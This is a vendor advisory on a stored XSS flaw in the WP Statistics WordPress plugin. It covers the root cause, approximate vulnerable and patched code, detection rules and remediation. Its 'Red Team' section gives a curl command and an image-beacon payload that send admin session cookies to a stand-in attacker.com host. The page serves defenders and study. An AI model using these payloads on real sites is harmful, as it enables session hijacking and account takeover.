CVE-2025-9816
Executive Summary
CVE-2025-9816 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Statistics plugin for WordPress, affecting all versions up to and including 14.5.4. The vulnerability resides in the plugin’s handling of the HTTP User-Agent header. Due to insufficient input sanitization and output escaping, an unauthenticated attacker can inject arbitrary JavaScript or HTML into the User-Agent header. When a WordPress administrator or other user views the statistics page (e.g., the “Visitors” or “Browser” details), the injected script executes in their browser context.
This is a WordPress ecosystem vulnerability; the flaw is entirely within the WP Statistics plugin’s code, not in the underlying web server (Apache or Nginx). The CVSS score is 7.2 (High), with a vector indicating network-based, low-complexity, no-privilege-required, and no-user-interaction exploitation. The EPSS score is 0.0%, suggesting low current exploitation activity, but the risk remains significant due to the plugin’s popularity and the ease of exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin’s update mechanism; users must manually update or rely on WordPress’s built-in update system. No malicious package versions have been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated attacker.
- User Interaction (UI): None (N) – No victim action needed for injection.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Script execution can modify page content.
- Availability (A): None (N) – No direct impact on availability.
Overall Score: 7.2 (High)
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to session hijacking, defacement, or phishing within the WordPress admin panel.
Deep Dive & Mechanics
The WP Statistics plugin logs visitor information, including the User-Agent header, to display in the admin dashboard. The vulnerable code path occurs when the plugin stores the raw User-Agent string into the database and later retrieves it for display without proper sanitization or escaping.
Root Cause: The plugin uses $_SERVER['HTTP_USER_AGENT'] directly (or via a helper function) and inserts it into the database. When rendering the statistics page, the plugin outputs the stored value using echo or similar without applying esc_html() or wp_kses().
Attack Flow:
- Attacker sends an HTTP request to any WordPress URL with a malicious
User-Agentheader containing JavaScript, e.g.,<script>alert('XSS')</script>. - The WP Statistics plugin logs this request, storing the malicious payload in the
wp_statistics_visitortable (or similar). - An administrator visits the “Visitors” or “Browser” details page in the WordPress admin.
- The plugin retrieves the stored
User-Agentand outputs it without escaping. - The browser executes the injected script in the context of the admin’s session.
Impact: An attacker can steal admin session cookies, perform actions on behalf of the admin (e.g., create new admin users, install malicious plugins), or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (wp-statistics/includes/class-wp-statistics-visitor.php – approximate):
// Vulnerable: Direct use of User-Agent without sanitization
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$wpdb->insert(
$wpdb->prefix . 'statistics_visitor',
array(
'user_agent' => $user_agent,
// ... other fields
)
);
Patched Code (hypothetical fix):
// Patched: Sanitize and escape User-Agent before storage and output
$user_agent = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );
$wpdb->insert(
$wpdb->prefix . 'statistics_visitor',
array(
'user_agent' => $user_agent,
// ... other fields
)
);
// When outputting:
echo esc_html( $visitor->user_agent );
Key Differences:
- Input:
sanitize_text_field()strips malicious tags. - Output:
esc_html()converts HTML special characters to entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Statistics plugin version <= 14.5.4.
- No authentication required.
Exploit Steps:
- Identify the target WordPress site.
- Send a crafted HTTP request with a malicious
User-Agentheader:curl -X GET "http://target-wordpress-site.com/" \ -H "User-Agent: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" - Wait for an admin to visit the WP Statistics “Visitors” page.
- The injected script executes, exfiltrating the admin’s session cookie to the attacker’s server.
Alternative Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
Note: No public exploit-db code or nuclei template is available for this CVE.
Blue Team (Detection & Hardening)
Detection:
- Monitor HTTP logs for suspicious
User-Agentstrings containing<script>,onerror=,javascript:, or other XSS indicators. - Use WAF rules to block
User-Agentheaders containing HTML/JavaScript.
Hardening:
- Apply the vendor patch immediately when available.
- As a temporary workaround, disable the WP Statistics plugin or restrict access to its admin pages via
.htaccessor a security plugin. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with
User-Agentcontaining<script>,onerror,javascript:, or base64-encoded payloads. - Outbound connections from the WordPress server to unknown IPs/domains (exfiltration).
- HTTP requests with
File IOCs:
- Entries in the
wp_statistics_visitortable withuser_agentfield containing HTML/JavaScript.
- Entries in the
Log IOCs:
- WordPress debug logs showing
PHP Notice: Undefined index: HTTP_USER_AGENT(if plugin fails to handle missing header). - Web server access logs with unusual
User-Agentstrings.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule CVE_2025_9816_WP_Statistics_XSS {
meta:
description = "Detects malicious User-Agent strings targeting WP Statistics plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9816"
strings:
$xss1 = /<script[^>]*>/i
$xss2 = /onerror\s*=/i
$xss3 = /javascript\s*:/i
$xss4 = /onload\s*=/i
$xss5 = /<img[^>]*onerror/i
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2025-9816 - WP Statistics Stored XSS via User-Agent
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious User-Agent headers targeting WP Statistics plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-user-agent|contains:
- '<script'
- 'onerror='
- 'javascript:'
- 'onload='
- '<img'
condition: selection
falsepositives:
- Legitimate use of JavaScript in User-Agent (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-9816 - WP Statistics Stored XSS via User-Agent";
flow:to_server,established;
content:"User-Agent|3a|"; http_header_names;
pcre:"/User-Agent\x3a[^\r\n]*<script[^>]*>/iH";
pcre:"/User-Agent\x3a[^\r\n]*onerror\s*=/iH";
pcre:"/User-Agent\x3a[^\r\n]*javascript\s*:/iH";
sid:10000001;
rev:1;
reference:cve,2025-9816;
)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version becomes available, update immediately.
- Disable the plugin: If no patch is available, disable WP Statistics until a fix is released.
- Restrict admin access: Use
.htaccessor a security plugin to limit access to/wp-admin/admin.php?page=wps_visitorsto specific IPs.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with rules to block XSS in headers.
- Regularly audit WordPress plugins for vulnerabilities.
- Enforce Content Security Policy (CSP) headers to reduce XSS impact.
Workaround Code (if plugin cannot be disabled):
Add the following to the theme’s functions.php to sanitize User-Agent before storage (note: this may break plugin functionality):
add_filter( 'wp_statistics_user_agent', 'sanitize_text_field' );
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.